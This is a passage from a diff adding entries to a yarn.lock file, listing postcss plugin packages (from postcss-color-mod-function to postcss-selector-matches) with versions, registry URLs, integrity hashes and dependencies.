"https://registry.yarnpkg.com/postcss-color-mod-function/-/postcss-color-mod-function-3.0.3.tgz#816ba145ac11cc3cb6baa905a75a49f903e4d31d" + integrity sha512-YP4VG+xufxaVtzV6ZmhEtc+/aTXH3d0JLpnYfxqTvwZPbJhWqp8bSY3nfNzNRFLgB4XSaBA82OE4VjOOKpCdVQ== + dependencies: + "@csstools/convert-colors" "^1.4.0" + postcss "^7.0.2" + postcss-values-parser "^2.0.0" + +postcss-color-rebeccapurple@^4.0.1: + version "4.0.1" + resolved "https://registry.yarnpkg.com/postcss-color-rebeccapurple/-/postcss-color-rebeccapurple-4.0.1.tgz#c7a89be872bb74e45b1e3022bfe5748823e6de77" + integrity sha512-aAe3OhkS6qJXBbqzvZth2Au4V3KieR5sRQ4ptb2b2O8wgvB3SJBsdG+jsn2BZbbwekDG8nTfcCNKcSfe/lEy8g== + dependencies: + postcss "^7.0.2" + postcss-values-parser "^2.0.0" + +postcss-colormin@^4.0.3: + version "4.0.3" + resolved "https://registry.yarnpkg.com/postcss-colormin/-/postcss-colormin-4.0.3.tgz#ae060bce93ed794ac71264f08132d550956bd381" + integrity sha512-WyQFAdDZpExQh32j0U0feWisZ0dmOtPl44qYmJKkq9xFWY3p+4qnRzCHeNrkeRhwPHz9bQ3mo0/yVkaply0MNw== + dependencies: + browserslist "^4.0.0" + color "^3.0.0" + has "^1.0.0" + postcss "^7.0.0" + postcss-value-parser "^3.0.0" + +postcss-convert-values@^4.0.1: + version "4.0.1" + resolved "https://registry.yarnpkg.com/postcss-convert-values/-/postcss-convert-values-4.0.1.tgz#ca3813ed4da0f812f9d43703584e449ebe189a7f" + integrity sha512-Kisdo1y77KUC0Jmn0OXU/COOJbzM8cImvw1ZFsBgBgMgb1iL23Zs/LXRe3r+EZqM3vGYKdQ2YJVQ5VkJI+zEJQ== + dependencies: + postcss "^7.0.0" + postcss-value-parser "^3.0.0" + +postcss-custom-media@^7.0.8: + version "7.0.8" + resolved "https://registry.yarnpkg.com/postcss-custom-media/-/postcss-custom-media-7.0.8.tgz#fffd13ffeffad73621be5f387076a28b00294e0c" + integrity sha512-c9s5iX0Ge15o00HKbuRuTqNndsJUbaXdiNsksnVH8H4gdc+zbLzr/UasOwNG6CTDpLFekVY4672eWdiiWu2GUg== + dependencies: + postcss "^7.0.14" + +postcss-custom-properties@^8.0.11: + version "8.0.11" + resolved "https://registry.yarnpkg.com/postcss-custom-properties/-/postcss-custom-properties-8.0.11.tgz#2d61772d6e92f22f5e0d52602df8fae46fa30d97" + integrity sha512-nm+o0eLdYqdnJ5abAJeXp4CEU1c1k+eB2yMCvhgzsds/e0umabFrN6HoTy/8Q4K5ilxERdl/JD1LO5ANoYBeMA== + dependencies: + postcss "^7.0.17" + postcss-values-parser "^2.0.1" + +postcss-custom-selectors@^5.1.2: + version "5.1.2" + resolved "https://registry.yarnpkg.com/postcss-custom-selectors/-/postcss-custom-selectors-5.1.2.tgz#64858c6eb2ecff2fb41d0b28c9dd7b3db4de7fba" + integrity sha512-DSGDhqinCqXqlS4R7KGxL1OSycd1lydugJ1ky4iRXPHdBRiozyMHrdu0H3o7qNOCiZwySZTUI5MV0T8QhCLu+w== + dependencies: + postcss "^7.0.2" + postcss-selector-parser "^5.0.0-rc.3" + +postcss-dir-pseudo-class@^5.0.0: + version "5.0.0" + resolved "https://registry.yarnpkg.com/postcss-dir-pseudo-class/-/postcss-dir-pseudo-class-5.0.0.tgz#6e3a4177d0edb3abcc85fdb6fbb1c26dabaeaba2" + integrity sha512-3pm4oq8HYWMZePJY+5ANriPs3P07q+LW6FAdTlkFH2XqDdP4HeeJYMOzn0HYLhRSjBO3fhiqSwwU9xEULSrPgw== + dependencies: + postcss "^7.0.2" + postcss-selector-parser "^5.0.0-rc.3" + +postcss-discard-comments@^4.0.2: + version "4.0.2" + resolved "https://registry.yarnpkg.com/postcss-discard-comments/-/postcss-discard-comments-4.0.2.tgz#1fbabd2c246bff6aaad7997b2b0918f4d7af4033" + integrity sha512-RJutN259iuRf3IW7GZyLM5Sw4GLTOH8FmsXBnv8Ab/Tc2k4SR4qbV4DNbyyY4+Sjo362SyDmW2DQ7lBSChrpkg== + dependencies: + postcss "^7.0.0" + +postcss-discard-duplicates@^4.0.2: + version "4.0.2" + resolved "https://registry.yarnpkg.com/postcss-discard-duplicates/-/postcss-discard-duplicates-4.0.2.tgz#3fe133cd3c82282e550fc9b239176a9207b784eb" + integrity sha512-ZNQfR1gPNAiXZhgENFfEglF93pciw0WxMkJeVmw8eF+JZBbMD7jp6C67GqJAXVZP2BWbOztKfbsdmMp/k8c6oQ== + dependencies: + postcss "^7.0.0" + +postcss-discard-empty@^4.0.1: + version "4.0.1" + resolved "https://registry.yarnpkg.com/postcss-discard-empty/-/postcss-discard-empty-4.0.1.tgz#c8c951e9f73ed9428019458444a02ad90bb9f765" + integrity sha512-B9miTzbznhDjTfjvipfHoqbWKwd0Mj+/fL5s1QOz06wufguil+Xheo4XpOnc4NqKYBCNqqEzgPv2aPBIJLox0w== + dependencies: + postcss "^7.0.0" + +postcss-discard-overridden@^4.0.1: + version "4.0.1" + resolved "https://registry.yarnpkg.com/postcss-discard-overridden/-/postcss-discard-overridden-4.0.1.tgz#652aef8a96726f029f5e3e00146ee7a4e755ff57" + integrity sha512-IYY2bEDD7g1XM1IDEsUT4//iEYCxAmP5oDSFMVU/JVvT7gh+l4fmjciLqGgwjdWpQIdb0Che2VX00QObS5+cTg== + dependencies: + postcss "^7.0.0" + +postcss-double-position-gradients@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/postcss-double-position-gradients/-/postcss-double-position-gradients-1.0.0.tgz#fc927d52fddc896cb3a2812ebc5df147e110522e" + integrity sha512-G+nV8EnQq25fOI8CH/B6krEohGWnF5+3A6H/+JEpOncu5dCnkS1QQ6+ct3Jkaepw1NGVqqOZH6lqrm244mCftA== + dependencies: + postcss "^7.0.5" + postcss-values-parser "^2.0.0" + +postcss-env-function@^2.0.2: + version "2.0.2" + resolved "https://registry.yarnpkg.com/postcss-env-function/-/postcss-env-function-2.0.2.tgz#0f3e3d3c57f094a92c2baf4b6241f0b0da5365d7" + integrity sha512-rwac4BuZlITeUbiBq60h/xbLzXY43qOsIErngWa4l7Mt+RaSkT7QBjXVGTcBHupykkblHMDrBFh30zchYPaOUw== + dependencies: + postcss "^7.0.2" + postcss-values-parser "^2.0.0" + +postcss-flexbugs-fixes@4.2.1: + version "4.2.1" + resolved "https://registry.yarnpkg.com/postcss-flexbugs-fixes/-/postcss-flexbugs-fixes-4.2.1.tgz#9218a65249f30897deab1033aced8578562a6690" + integrity sha512-9SiofaZ9CWpQWxOwRh1b/r85KD5y7GgvsNt1056k6OYLvWUun0czCvogfJgylC22uJTwW1KzY3Gz65NZRlvoiQ== + dependencies: + postcss "^7.0.26" + +postcss-focus-visible@^4.0.0: + version "4.0.0" + resolved "https://registry.yarnpkg.com/postcss-focus-visible/-/postcss-focus-visible-4.0.0.tgz#477d107113ade6024b14128317ade2bd1e17046e" + integrity sha512-Z5CkWBw0+idJHSV6+Bgf2peDOFf/x4o+vX/pwcNYrWpXFrSfTkQ3JQ1ojrq9yS+upnAlNRHeg8uEwFTgorjI8g== + dependencies: + postcss "^7.0.2" + +postcss-focus-within@^3.0.0: + version "3.0.0" + resolved "https://registry.yarnpkg.com/postcss-focus-within/-/postcss-focus-within-3.0.0.tgz#763b8788596cee9b874c999201cdde80659ef680" + integrity sha512-W0APui8jQeBKbCGZudW37EeMCjDeVxKgiYfIIEo8Bdh5SpB9sxds/Iq8SEuzS0Q4YFOlG7EPFulbbxujpkrV2w== + dependencies: + postcss "^7.0.2" + +postcss-font-variant@^4.0.0: + version "4.0.1" + resolved "https://registry.yarnpkg.com/postcss-font-variant/-/postcss-font-variant-4.0.1.tgz#42d4c0ab30894f60f98b17561eb5c0321f502641" + integrity sha512-I3ADQSTNtLTTd8uxZhtSOrTCQ9G4qUVKPjHiDk0bV75QSxXjVWiJVJ2VLdspGUi9fbW9BcjKJoRvxAH1pckqmA== + dependencies: + postcss "^7.0.2" + +postcss-functions@^3: + version "3.0.0" + resolved "https://registry.yarnpkg.com/postcss-functions/-/postcss-functions-3.0.0.tgz#0e94d01444700a481de20de4d55fb2640564250e" + integrity sha1-DpTQFERwCkgd4g3k1V+yZAVkJQ4= + dependencies: + glob "^7.1.2" + object-assign "^4.1.1" + postcss "^6.0.9" + postcss-value-parser "^3.3.0" + +postcss-gap-properties@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/postcss-gap-properties/-/postcss-gap-properties-2.0.0.tgz#431c192ab3ed96a3c3d09f2ff615960f902c1715" + integrity sha512-QZSqDaMgXCHuHTEzMsS2KfVDOq7ZFiknSpkrPJY6jmxbugUPTuSzs/vuE5I3zv0WAS+3vhrlqhijiprnuQfzmg== + dependencies: + postcss "^7.0.2" + +postcss-image-set-function@^3.0.1: + version "3.0.1" + resolved "https://registry.yarnpkg.com/postcss-image-set-function/-/postcss-image-set-function-3.0.1.tgz#28920a2f29945bed4c3198d7df6496d410d3f288" + integrity sha512-oPTcFFip5LZy8Y/whto91L9xdRHCWEMs3e1MdJxhgt4jy2WYXfhkng59fH5qLXSCPN8k4n94p1Czrfe5IOkKUw== + dependencies: + postcss "^7.0.2" + postcss-values-parser "^2.0.0" + +postcss-initial@^3.0.0: + version "3.0.2" + resolved "https://registry.yarnpkg.com/postcss-initial/-/postcss-initial-3.0.2.tgz#f018563694b3c16ae8eaabe3c585ac6319637b2d" + integrity sha512-ugA2wKonC0xeNHgirR4D3VWHs2JcU08WAi1KFLVcnb7IN89phID6Qtg2RIctWbnvp1TM2BOmDtX8GGLCKdR8YA== + dependencies: + lodash.template "^4.5.0" + postcss "^7.0.2" + +postcss-js@^2: + version "2.0.3" + resolved "https://registry.yarnpkg.com/postcss-js/-/postcss-js-2.0.3.tgz#a96f0f23ff3d08cec7dc5b11bf11c5f8077cdab9" + integrity sha512-zS59pAk3deu6dVHyrGqmC3oDXBdNdajk4k1RyxeVXCrcEDBUBHoIhE4QTsmhxgzXxsaqFDAkUZfmMa5f/N/79w== + dependencies: + camelcase-css "^2.0.1" + postcss "^7.0.18" + +postcss-lab-function@^2.0.1: + version "2.0.1" + resolved "https://registry.yarnpkg.com/postcss-lab-function/-/postcss-lab-function-2.0.1.tgz#bb51a6856cd12289ab4ae20db1e3821ef13d7d2e" + integrity sha512-whLy1IeZKY+3fYdqQFuDBf8Auw+qFuVnChWjmxm/UhHWqNHZx+B99EwxTvGYmUBqe3Fjxs4L1BoZTJmPu6usVg== + dependencies: + "@csstools/convert-colors" "^1.4.0" + postcss "^7.0.2" + postcss-values-parser "^2.0.0" + +postcss-load-config@^2.0.0: + version "2.1.2" + resolved "https://registry.yarnpkg.com/postcss-load-config/-/postcss-load-config-2.1.2.tgz#c5ea504f2c4aef33c7359a34de3573772ad7502a" + integrity sha512-/rDeGV6vMUo3mwJZmeHfEDvwnTKKqQ0S7OHUi/kJvvtx3aWtyWG2/0ZWnzCt2keEclwN6Tf0DST2v9kITdOKYw== + dependencies: + cosmiconfig "^5.0.0" + import-cwd "^2.0.0" + +postcss-loader@3.0.0: + version "3.0.0" + resolved "https://registry.yarnpkg.com/postcss-loader/-/postcss-loader-3.0.0.tgz#6b97943e47c72d845fa9e03f273773d4e8dd6c2d" + integrity sha512-cLWoDEY5OwHcAjDnkyRQzAXfs2jrKjXpO/HQFcc5b5u/r7aa471wdmChmwfnv7x2u840iat/wi0lQ5nbRgSkUA== + dependencies: + loader-utils "^1.1.0" + postcss "^7.0.0" + postcss-load-config "^2.0.0" + schema-utils "^1.0.0" + +postcss-logical@^3.0.0: + version "3.0.0" + resolved "https://registry.yarnpkg.com/postcss-logical/-/postcss-logical-3.0.0.tgz#2495d0f8b82e9f262725f75f9401b34e7b45d5b5" + integrity sha512-1SUKdJc2vuMOmeItqGuNaC+N8MzBWFWEkAnRnLpFYj1tGGa7NqyVBujfRtgNa2gXR+6RkGUiB2O5Vmh7E2RmiA== + dependencies: + postcss "^7.0.2" + +postcss-media-minmax@^4.0.0: + version "4.0.0" + resolved "https://registry.yarnpkg.com/postcss-media-minmax/-/postcss-media-minmax-4.0.0.tgz#b75bb6cbc217c8ac49433e12f22048814a4f5ed5" + integrity sha512-fo9moya6qyxsjbFAYl97qKO9gyre3qvbMnkOZeZwlsW6XYFsvs2DMGDlchVLfAd8LHPZDxivu/+qW2SMQeTHBw== + dependencies: + postcss "^7.0.2" + +postcss-merge-longhand@^4.0.11: + version "4.0.11" + resolved "https://registry.yarnpkg.com/postcss-merge-longhand/-/postcss-merge-longhand-4.0.11.tgz#62f49a13e4a0ee04e7b98f42bb16062ca2549e24" + integrity sha512-alx/zmoeXvJjp7L4mxEMjh8lxVlDFX1gqWHzaaQewwMZiVhLo42TEClKaeHbRf6J7j82ZOdTJ808RtN0ZOZwvw== + dependencies: + css-color-names "0.0.4" + postcss "^7.0.0" + postcss-value-parser "^3.0.0" + stylehacks "^4.0.0" + +postcss-merge-rules@^4.0.3: + version "4.0.3" + resolved "https://registry.yarnpkg.com/postcss-merge-rules/-/postcss-merge-rules-4.0.3.tgz#362bea4ff5a1f98e4075a713c6cb25aefef9a650" + integrity sha512-U7e3r1SbvYzO0Jr3UT/zKBVgYYyhAz0aitvGIYOYK5CPmkNih+WDSsS5tvPrJ8YMQYlEMvsZIiqmn7HdFUaeEQ== + dependencies: + browserslist "^4.0.0" + caniuse-api "^3.0.0" + cssnano-util-same-parent "^4.0.0" + postcss "^7.0.0" + postcss-selector-parser "^3.0.0" + vendors "^1.0.0" + +postcss-minify-font-values@^4.0.2: + version "4.0.2" + resolved "https://registry.yarnpkg.com/postcss-minify-font-values/-/postcss-minify-font-values-4.0.2.tgz#cd4c344cce474343fac5d82206ab2cbcb8afd5a6" + integrity sha512-j85oO6OnRU9zPf04+PZv1LYIYOprWm6IA6zkXkrJXyRveDEuQggG6tvoy8ir8ZwjLxLuGfNkCZEQG7zan+Hbtg== + dependencies: + postcss "^7.0.0" + postcss-value-parser "^3.0.0" + +postcss-minify-gradients@^4.0.2: + version "4.0.2" + resolved "https://registry.yarnpkg.com/postcss-minify-gradients/-/postcss-minify-gradients-4.0.2.tgz#93b29c2ff5099c535eecda56c4aa6e665a663471" + integrity sha512-qKPfwlONdcf/AndP1U8SJ/uzIJtowHlMaSioKzebAXSG4iJthlWC9iSWznQcX4f66gIWX44RSA841HTHj3wK+Q== + dependencies: + cssnano-util-get-arguments "^4.0.0" + is-color-stop "^1.0.0" + postcss "^7.0.0" + postcss-value-parser "^3.0.0" + +postcss-minify-params@^4.0.2: + version "4.0.2" + resolved "https://registry.yarnpkg.com/postcss-minify-params/-/postcss-minify-params-4.0.2.tgz#6b9cef030c11e35261f95f618c90036d680db874" + integrity sha512-G7eWyzEx0xL4/wiBBJxJOz48zAKV2WG3iZOqVhPet/9geefm/Px5uo1fzlHu+DOjT+m0Mmiz3jkQzVHe6wxAWg== + dependencies: + alphanum-sort "^1.0.0" + browserslist "^4.0.0" + cssnano-util-get-arguments "^4.0.0" + postcss "^7.0.0" + postcss-value-parser "^3.0.0" + uniqs "^2.0.0" + +postcss-minify-selectors@^4.0.2: + version "4.0.2" + resolved "https://registry.yarnpkg.com/postcss-minify-selectors/-/postcss-minify-selectors-4.0.2.tgz#e2e5eb40bfee500d0cd9243500f5f8ea4262fbd8" + integrity sha512-D5S1iViljXBj9kflQo4YutWnJmwm8VvIsU1GeXJGiG9j8CIg9zs4voPMdQDUmIxetUOh60VilsNzCiAFTOqu3g== + dependencies: + alphanum-sort "^1.0.0" + has "^1.0.0" + postcss "^7.0.0" + postcss-selector-parser "^3.0.0" + +postcss-modules-extract-imports@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/postcss-modules-extract-imports/-/postcss-modules-extract-imports-2.0.0.tgz#818719a1ae1da325f9832446b01136eeb493cd7e" + integrity sha512-LaYLDNS4SG8Q5WAWqIJgdHPJrDDr/Lv775rMBFUbgjTz6j34lUznACHcdRWroPvXANP2Vj7yNK57vp9eFqzLWQ== + dependencies: + postcss "^7.0.5" + +postcss-modules-local-by-default@^3.0.3: + version "3.0.3" + resolved "https://registry.yarnpkg.com/postcss-modules-local-by-default/-/postcss-modules-local-by-default-3.0.3.tgz#bb14e0cc78279d504dbdcbfd7e0ca28993ffbbb0" + integrity sha512-e3xDq+LotiGesympRlKNgaJ0PCzoUIdpH0dj47iWAui/kyTgh3CiAr1qP54uodmJhl6p9rN6BoNcdEDVJx9RDw== + dependencies: + icss-utils "^4.1.1" + postcss "^7.0.32" + postcss-selector-parser "^6.0.2" + postcss-value-parser "^4.1.0" + +postcss-modules-scope@^2.2.0: + version "2.2.0" + resolved "https://registry.yarnpkg.com/postcss-modules-scope/-/postcss-modules-scope-2.2.0.tgz#385cae013cc7743f5a7d7602d1073a89eaae62ee" + integrity sha512-YyEgsTMRpNd+HmyC7H/mh3y+MeFWevy7V1evVhJWewmMbjDHIbZbOXICC2y+m1xI1UVfIT1HMW/O04Hxyu9oXQ== + dependencies: + postcss "^7.0.6" + postcss-selector-parser "^6.0.0" + +postcss-modules-values@^3.0.0: + version "3.0.0" + resolved "https://registry.yarnpkg.com/postcss-modules-values/-/postcss-modules-values-3.0.0.tgz#5b5000d6ebae29b4255301b4a3a54574423e7f10" + integrity sha512-1//E5jCBrZ9DmRX+zCtmQtRSV6PV42Ix7Bzj9GbwJceduuf7IqP8MgeTXuRDHOWj2m0VzZD5+roFWDuU8RQjcg== + dependencies: + icss-utils "^4.0.0" + postcss "^7.0.6" + +postcss-nested@^4: + version "4.2.3" + resolved "https://registry.yarnpkg.com/postcss-nested/-/postcss-nested-4.2.3.tgz#c6f255b0a720549776d220d00c4b70cd244136f6" + integrity sha512-rOv0W1HquRCamWy2kFl3QazJMMe1ku6rCFoAAH+9AcxdbpDeBr6k968MLWuLjvjMcGEip01ak09hKOEgpK9hvw== + dependencies: + postcss "^7.0.32" + postcss-selector-parser "^6.0.2" + +postcss-nesting@^7.0.0: + version "7.0.1" + resolved "https://registry.yarnpkg.com/postcss-nesting/-/postcss-nesting-7.0.1.tgz#b50ad7b7f0173e5b5e3880c3501344703e04c052" + integrity sha512-FrorPb0H3nuVq0Sff7W2rnc3SmIcruVC6YwpcS+k687VxyxO33iE1amna7wHuRVzM8vfiYofXSBHNAZ3QhLvYg== + dependencies: + postcss "^7.0.2" + +postcss-normalize-charset@^4.0.1: + version "4.0.1" + resolved "https://registry.yarnpkg.com/postcss-normalize-charset/-/postcss-normalize-charset-4.0.1.tgz#8b35add3aee83a136b0471e0d59be58a50285dd4" + integrity sha512-gMXCrrlWh6G27U0hF3vNvR3w8I1s2wOBILvA87iNXaPvSNo5uZAMYsZG7XjCUf1eVxuPfyL4TJ7++SGZLc9A3g== + dependencies: + postcss "^7.0.0" + +postcss-normalize-display-values@^4.0.2: + version "4.0.2" + resolved "https://registry.yarnpkg.com/postcss-normalize-display-values/-/postcss-normalize-display-values-4.0.2.tgz#0dbe04a4ce9063d4667ed2be476bb830c825935a" + integrity sha512-3F2jcsaMW7+VtRMAqf/3m4cPFhPD3EFRgNs18u+k3lTJJlVe7d0YPO+bnwqo2xg8YiRpDXJI2u8A0wqJxMsQuQ== + dependencies: + cssnano-util-get-match "^4.0.0" + postcss "^7.0.0" + postcss-value-parser "^3.0.0" + +postcss-normalize-positions@^4.0.2: + version "4.0.2" + resolved "https://registry.yarnpkg.com/postcss-normalize-positions/-/postcss-normalize-positions-4.0.2.tgz#05f757f84f260437378368a91f8932d4b102917f" + integrity sha512-Dlf3/9AxpxE+NF1fJxYDeggi5WwV35MXGFnnoccP/9qDtFrTArZ0D0R+iKcg5WsUd8nUYMIl8yXDCtcrT8JrdA== + dependencies: + cssnano-util-get-arguments "^4.0.0" + has "^1.0.0" + postcss "^7.0.0" + postcss-value-parser "^3.0.0" + +postcss-normalize-repeat-style@^4.0.2: + version "4.0.2" + resolved "https://registry.yarnpkg.com/postcss-normalize-repeat-style/-/postcss-normalize-repeat-style-4.0.2.tgz#c4ebbc289f3991a028d44751cbdd11918b17910c" + integrity sha512-qvigdYYMpSuoFs3Is/f5nHdRLJN/ITA7huIoCyqqENJe9PvPmLhNLMu7QTjPdtnVf6OcYYO5SHonx4+fbJE1+Q== + dependencies: + cssnano-util-get-arguments "^4.0.0" + cssnano-util-get-match "^4.0.0" + postcss "^7.0.0" + postcss-value-parser "^3.0.0" + +postcss-normalize-string@^4.0.2: + version "4.0.2" + resolved "https://registry.yarnpkg.com/postcss-normalize-string/-/postcss-normalize-string-4.0.2.tgz#cd44c40ab07a0c7a36dc5e99aace1eca4ec2690c" + integrity sha512-RrERod97Dnwqq49WNz8qo66ps0swYZDSb6rM57kN2J+aoyEAJfZ6bMx0sx/F9TIEX0xthPGCmeyiam/jXif0eA== + dependencies: + has "^1.0.0" + postcss "^7.0.0" + postcss-value-parser "^3.0.0" + +postcss-normalize-timing-functions@^4.0.2: + version "4.0.2" + resolved "https://registry.yarnpkg.com/postcss-normalize-timing-functions/-/postcss-normalize-timing-functions-4.0.2.tgz#8e009ca2a3949cdaf8ad23e6b6ab99cb5e7d28d9" + integrity sha512-acwJY95edP762e++00Ehq9L4sZCEcOPyaHwoaFOhIwWCDfik6YvqsYNxckee65JHLKzuNSSmAdxwD2Cud1Z54A== + dependencies: + cssnano-util-get-match "^4.0.0" + postcss "^7.0.0" + postcss-value-parser "^3.0.0" + +postcss-normalize-unicode@^4.0.1: + version "4.0.1" + resolved "https://registry.yarnpkg.com/postcss-normalize-unicode/-/postcss-normalize-unicode-4.0.1.tgz#841bd48fdcf3019ad4baa7493a3d363b52ae1cfb" + integrity sha512-od18Uq2wCYn+vZ/qCOeutvHjB5jm57ToxRaMeNuf0nWVHaP9Hua56QyMF6fs/4FSUnVIw0CBPsU0K4LnBPwYwg== + dependencies: + browserslist "^4.0.0" + postcss "^7.0.0" + postcss-value-parser "^3.0.0" + +postcss-normalize-url@^4.0.1: + version "4.0.1" + resolved "https://registry.yarnpkg.com/postcss-normalize-url/-/postcss-normalize-url-4.0.1.tgz#10e437f86bc7c7e58f7b9652ed878daaa95faae1" + integrity sha512-p5oVaF4+IHwu7VpMan/SSpmpYxcJMtkGppYf0VbdH5B6hN8YNmVyJLuY9FmLQTzY3fag5ESUUHDqM+heid0UVA== + dependencies: + is-absolute-url "^2.0.0" + normalize-url "^3.0.0" + postcss "^7.0.0" + postcss-value-parser "^3.0.0" + +postcss-normalize-whitespace@^4.0.2: + version "4.0.2" + resolved "https://registry.yarnpkg.com/postcss-normalize-whitespace/-/postcss-normalize-whitespace-4.0.2.tgz#bf1d4070fe4fcea87d1348e825d8cc0c5faa7d82" + integrity sha512-tO8QIgrsI3p95r8fyqKV+ufKlSHh9hMJqACqbv2XknufqEDhDvbguXGBBqxw9nsQoXWf0qOqppziKJKHMD4GtA== + dependencies: + postcss "^7.0.0" + postcss-value-parser "^3.0.0" + +postcss-normalize@8.0.1: + version "8.0.1" + resolved "https://registry.yarnpkg.com/postcss-normalize/-/postcss-normalize-8.0.1.tgz#90e80a7763d7fdf2da6f2f0f82be832ce4f66776" + integrity sha512-rt9JMS/m9FHIRroDDBGSMsyW1c0fkvOJPy62ggxSHUldJO7B195TqFMqIf+lY5ezpDcYOV4j86aUp3/XbxzCCQ== + dependencies: + "@csstools/normalize.css" "^10.1.0" + browserslist "^4.6.2" + postcss "^7.0.17" + postcss-browser-comments "^3.0.0" + sanitize.css "^10.0.0" + +postcss-ordered-values@^4.1.2: + version "4.1.2" + resolved "https://registry.yarnpkg.com/postcss-ordered-values/-/postcss-ordered-values-4.1.2.tgz#0cf75c820ec7d5c4d280189559e0b571ebac0eee" + integrity sha512-2fCObh5UanxvSxeXrtLtlwVThBvHn6MQcu4ksNT2tsaV2Fg76R2CV98W7wNSlX+5/pFwEyaDwKLLoEV7uRybAw== + dependencies: + cssnano-util-get-arguments "^4.0.0" + postcss "^7.0.0" + postcss-value-parser "^3.0.0" + +postcss-overflow-shorthand@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/postcss-overflow-shorthand/-/postcss-overflow-shorthand-2.0.0.tgz#31ecf350e9c6f6ddc250a78f0c3e111f32dd4c30" + integrity sha512-aK0fHc9CBNx8jbzMYhshZcEv8LtYnBIRYQD5i7w/K/wS9c2+0NSR6B3OVMu5y0hBHYLcMGjfU+dmWYNKH0I85g== + dependencies: + postcss "^7.0.2" + +postcss-page-break@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/postcss-page-break/-/postcss-page-break-2.0.0.tgz#add52d0e0a528cabe6afee8b46e2abb277df46bf" + integrity sha512-tkpTSrLpfLfD9HvgOlJuigLuk39wVTbbd8RKcy8/ugV2bNBUW3xU+AIqyxhDrQr1VUj1RmyJrBn1YWrqUm9zAQ== + dependencies: + postcss "^7.0.2" + +postcss-place@^4.0.1: + version "4.0.1" + resolved "https://registry.yarnpkg.com/postcss-place/-/postcss-place-4.0.1.tgz#e9f39d33d2dc584e46ee1db45adb77ca9d1dcc62" + integrity sha512-Zb6byCSLkgRKLODj/5mQugyuj9bvAAw9LqJJjgwz5cYryGeXfFZfSXoP1UfveccFmeq0b/2xxwcTEVScnqGxBg== + dependencies: + postcss "^7.0.2" + postcss-values-parser "^2.0.0" + +postcss-preset-env@6.7.0: + version "6.7.0" + resolved "https://registry.yarnpkg.com/postcss-preset-env/-/postcss-preset-env-6.7.0.tgz#c34ddacf8f902383b35ad1e030f178f4cdf118a5" + integrity sha512-eU4/K5xzSFwUFJ8hTdTQzo2RBLbDVt83QZrAvI07TULOkmyQlnYlpwep+2yIK+K+0KlZO4BvFcleOCCcUtwchg== + dependencies: + autoprefixer "^9.6.1" + browserslist "^4.6.4" + caniuse-lite "^1.0.30000981" + css-blank-pseudo "^0.1.4" + css-has-pseudo "^0.10.0" + css-prefers-color-scheme "^3.1.1" + cssdb "^4.4.0" + postcss "^7.0.17" + postcss-attribute-case-insensitive "^4.0.1" + postcss-color-functional-notation "^2.0.1" + postcss-color-gray "^5.0.0" + postcss-color-hex-alpha "^5.0.3" + postcss-color-mod-function "^3.0.3" + postcss-color-rebeccapurple "^4.0.1" + postcss-custom-media "^7.0.8" + postcss-custom-properties "^8.0.11" + postcss-custom-selectors "^5.1.2" + postcss-dir-pseudo-class "^5.0.0" + postcss-double-position-gradients "^1.0.0" + postcss-env-function "^2.0.2" + postcss-focus-visible "^4.0.0" + postcss-focus-within "^3.0.0" + postcss-font-variant "^4.0.0" + postcss-gap-properties "^2.0.0" + postcss-image-set-function "^3.0.1" + postcss-initial "^3.0.0" + postcss-lab-function "^2.0.1" + postcss-logical "^3.0.0" + postcss-media-minmax "^4.0.0" + postcss-nesting "^7.0.0" + postcss-overflow-shorthand "^2.0.0" + postcss-page-break "^2.0.0" + postcss-place "^4.0.1" + postcss-pseudo-class-any-link "^6.0.0" + postcss-replace-overflow-wrap "^3.0.0" + postcss-selector-matches "^4.0.0" + postcss-selector-not "^4.0.0" + +postcss-pseudo-class-any-link@^6.0.0: + version "6.0.0" + resolved "https://registry.yarnpkg.com/postcss-pseudo-class-any-link/-/postcss-pseudo-class-any-link-6.0.0.tgz#2ed3eed393b3702879dec4a87032b210daeb04d1" + integrity sha512-lgXW9sYJdLqtmw23otOzrtbDXofUdfYzNm4PIpNE322/swES3VU9XlXHeJS46zT2onFO7V1QFdD4Q9LiZj8mew== + dependencies: + postcss "^7.0.2" + postcss-selector-parser "^5.0.0-rc.3" + +postcss-reduce-initial@^4.0.3: + version "4.0.3" + resolved "https://registry.yarnpkg.com/postcss-reduce-initial/-/postcss-reduce-initial-4.0.3.tgz#7fd42ebea5e9c814609639e2c2e84ae270ba48df" + integrity sha512-gKWmR5aUulSjbzOfD9AlJiHCGH6AEVLaM0AV+aSioxUDd16qXP1PCh8d1/BGVvpdWn8k/HiK7n6TjeoXN1F7DA== + dependencies: + browserslist "^4.0.0" + caniuse-api "^3.0.0" + has "^1.0.0" + postcss "^7.0.0" + +postcss-reduce-transforms@^4.0.2: + version "4.0.2" + resolved "https://registry.yarnpkg.com/postcss-reduce-transforms/-/postcss-reduce-transforms-4.0.2.tgz#17efa405eacc6e07be3414a5ca2d1074681d4e29" + integrity sha512-EEVig1Q2QJ4ELpJXMZR8Vt5DQx8/mo+dGWSR7vWXqcob2gQLyQGsionYcGKATXvQzMPn6DSN1vTN7yFximdIAg== + dependencies: + cssnano-util-get-match "^4.0.0" + has "^1.0.0" + postcss "^7.0.0" + postcss-value-parser "^3.0.0" + +postcss-replace-overflow-wrap@^3.0.0: + version "3.0.0" + resolved "https://registry.yarnpkg.com/postcss-replace-overflow-wrap/-/postcss-replace-overflow-wrap-3.0.0.tgz#61b360ffdaedca84c7c918d2b0f0d0ea559ab01c" + integrity sha512-2T5hcEHArDT6X9+9dVSPQdo7QHzG4XKclFT8rU5TzJPDN7RIRTbO9c4drUISOVemLj03aezStHCR2AIcr8XLpw== + dependencies: + postcss "^7.0.2" + +postcss-safe-parser@5.0.2: + version "5.0.2" + resolved "https://registry.yarnpkg.com/postcss-safe-parser/-/postcss-safe-parser-5.0.2.tgz#459dd27df6bc2ba64608824ba39e45dacf5e852d" + integrity sha512-jDUfCPJbKOABhwpUKcqCVbbXiloe/QXMcbJ6Iipf3sDIihEzTqRCeMBfRaOHxhBuTYqtASrI1KJWxzztZU4qUQ== + dependencies: + postcss "^8.1.0" + +postcss-selector-matches@^4.0.0: + version "4.0.0" + resolved "https://registry.yarnpkg.com/postcss-selector-matches/-/postcss-selector-matches-4.0.0.tgz#71c8248f917ba2cc93037c9637ee09c64436fcff" + integrity 